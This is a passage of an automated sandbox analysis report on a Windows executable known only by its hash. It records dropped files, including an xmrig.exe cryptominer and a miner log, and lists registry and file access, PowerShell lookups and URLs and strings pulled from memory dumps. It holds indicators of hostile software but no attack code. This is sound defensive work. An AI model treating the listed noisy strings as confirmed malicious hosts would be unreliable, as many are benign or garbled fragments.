sections"- Location: [C:\bin\xmrig.exe]- [targetUID: 00000000-00001548] "__PSScriptPolicyTest_u00pv2mi.oyi.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_u00pv2mi.oyi.ps1]- [targetUID: 00000000-00004556] "miner.log" has type "ASCII text with CRLF line terminators"- Location: [C:\logs\miner.log]- [targetUID: 00000000-00001548] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004556] "__PSScriptPolicyTest_dqciugsk.qli.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_dqciugsk.qli.psm1]- [targetUID: 00000000-00004556]4a:T966,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\OSDATA\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: ""; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES\MANIFESTEDMERGESTUBSDBS"; Key: ""; Value: "")4b:Tf0f,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMERGE.SDB"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")4c:T8ac,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\msvcrt.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\sechost.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\rpcrt4.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\advapi32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\ucrtbase.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\msvcp_win.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\win32u.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\user32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\gdi32full.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to touch file "C:\Windows\System32\gdi32.dll"4d:T945,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\advapi32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\kernel32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\ntdll.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\user32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\ole32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\BCrypt.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\shell32.dll" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\net.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\WINDOWS\system\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\WINDOWS\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\WINDOWS\system32\powershell.exe" "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll"4e:Tbea,"powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\PackageManagement.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\Pester.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\Pester.psm1"4f:T5dc,Found reference to API "Miner shutdown complete" (Indicator: " shutdown "; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetHostNameW" (Indicator: "gethostname"; Source: "00000000-00005904-00000C2C-2781943736") Found reference to API "TThis relation should connect two tables in this DataSet to be added to this DataSet." (Indicator: " connect "; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found reference to API "&Cannot bind to DataTable with no name." (Indicator: " bind "; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found reference to API "D::TAUP: Claiming safety in shutdown mode.%d" (Indicator: " shutdown "; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "Cannot call connect on a server connection" (Indicator: " connect "; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "Failed to connect to named pipe." (Indicator: " connect "; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "ds_ipc_stream_factory_get_next_available_stream - HUP :: Poll attempt: %d, connection %d hung up. Connect is reset." (Indicator: " connect "; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "Failed to connect to client connection" (Indicator: " connect "; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")50:T1025,Heuristic match: "system.gc.name" Pattern match: "https://aka.ms/dotnet/download" Pattern match: "https://aka.ms/dotnet/info" Pattern match: "https://aka.ms/dotnet/app-launch-failedto" Pattern match: "https://aka.ms/dotnet/sdk-not-found" Pattern match: "https://aka.ms/dotnet-core-applaunch" Pattern match: "https://aka.ms/dotnet/app-launch-failed" Pattern match: "https://aka.ms/dotnet/app-launch-failedwould" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://james.newtonking.com/projects/json" Heuristic match: "json.net is a popular high-performance json framework for .net" Heuristic match: "json.net" Heuristic match: "openlibsys.org" Pattern match: "http://www.w3.org/" Heuristic match: ".wsh;.ms" Pattern match: "https://github.com/dotnet/runtime" Pattern match: "https://aka.ms/binaryformatter" Pattern match: "https://aka.ms/dotnet-warnings/{0" Heuristic match: "atetime.tz" Heuristic match: "ime.tz" Heuristic match: "x*.sb" Pattern match: "https://go.microsoft.com/fwlink/?linkid=2132227" Pattern match: "https://aka.ms/serializationformat-binary-obsolete" Pattern match: "https://github.com/mono/linker/issues/1187" Pattern match: "https://github.com/mono/linker/issues/1981" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_2010-07-06.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_2010-07-06.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Heuristic match: "es.mh" Heuristic match: "ntime.sa" Heuristic match: "system.td" Heuristic match: "em.ch" Pattern match: "https://github.com/mono/linker/issues/1416" Pattern match: "https://github.com/mono/linker/issues/1906" Pattern match: "https://github.com/mono/linker/issues/1731" Pattern match: "https://github.com/mono/linker/issues/1895v" Pattern match: "birthpopuptypesapplyimagebeinguppernoteseveryshowsmeansextramatchtrackknownearlybegansuperpapernorthlearngivennamedendedtermspartsgroupbrandusingwomanfalsereadyaudiotakeswhile.com/livedcasesdailychildgreatjudgethoseunitsneverbroadcoastcoverapplefilescycles" Pattern match: "tos.org/ladvisedpenaltysimple:if" Pattern match: "http://dictionaryperceptionrevolutionfoundationpx;height:successfulsupportersmillenniumhis" Pattern match: "http://mathematicsmargin-top:eventually" Pattern match: "http://descriptionrelatively" Pattern match: "http://applicationslink" Pattern match: "www.googleorganizationautocompleterequirementsconservative" Pattern match: "http://navigation" Pattern match: "http://px" Pattern match: "www.world" Pattern match: "http://www.years" Pattern match: "http://interested" Pattern match: "http://familiar" Pattern match: "https://was" Pattern match: "https://ain" Pattern match: "http://whether" Pattern match: "http://interpreted" Pattern match: "http://addeventlistenerresponsible" Pattern match: "http://.jpg|right|thumb|.js" Pattern match: "http://according" Pattern match: "http://www.interpretation" Pattern match: "http://s;text-align:centerfont-weight" Pattern match: "http://style=float:left;concerned" Pattern match: "w3.org/1999/xhtml" Pattern match: "http://www.wencodeuricomponent" Pattern match: "http://encoding=utf-8" Pattern match: "http://www.icon" Pattern match: "http://imenglish" Pattern match: "http://www" Pattern match: "http://www.hortcut" Pattern match: "http://iparticipation" Pattern match: "http://xt/css" Pattern match: "http://www.text-decoration:underthe" Pattern match: "http://option" Pattern match: "http://.css" Pattern match: "http://www.css" Pattern match: "http://ator" Pattern match: "http://www-//w3c//dtd" Pattern match: "http://www.c//dtd"51:T510b,Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp") Found URL "https://aka.ms/binaryformatter" - Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp") Found URL "https://aka.ms/dotnet-warnings/" - Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000000.239967.80F30000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00001548.00000000.239967.82AE0000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000000.239967.82AE0000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000000.239967.82C10000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows!this" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=2132227" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://aka.ms/serializationformat-binary-obsolete" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://aka.ms/dotnet-warnings/" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1187" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1981wrapnonexceptionthrows.netcoreapp,version=v8.0frameworkdisplayname.net" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000000.239967.82EB0000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_2010-07-06.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_2010-07-06.crt0zf;8>=:" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@wo)" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "http://www.microsoft.com0%[^" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ifu?f" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows" - Source: "00000000-00001548.00000001.241886.80F10000.00000002.mdmp") Found URL "https://aka.ms/dotnet-warnings/" - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1416." - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1906." - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows!this" - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows" - Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp") Found URL "https://github.com/dotnet/runtimewindows!this" - Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime!this" - Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp") Found URL "https://aka.ms/binaryformatter" - Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1731" - Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found URL "https://github.com/mono/linker/issues/1895vreflectionanalysisil2057:typegettypejustification;using" - Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found URL "https://github.com/dotnet/runtime" - Source: "00000000-00001548.00000001.241886.82C60000.00000002.mdmp") Found URL "https://aka.ms/dotnet/downloadlearn" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/infoglobal.json" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failedto" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/sdk-not-founddownload" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/download%s%signoring" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?comctl32.dllwindowsshell.manifestcreateactctxw" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-faileddownload" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failedwould" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://dictionaryperceptionrevolutionfoundationpx;height:successfulsupportersmillenniumhis" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://mathematicsmargin-top:eventually" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://descriptionrelatively" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://applicationslink" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://navigation" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://px;" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://www.world" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://www.years" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://interested" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://familiar" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://was" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "https://ain" - Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found URL "http://whether" - 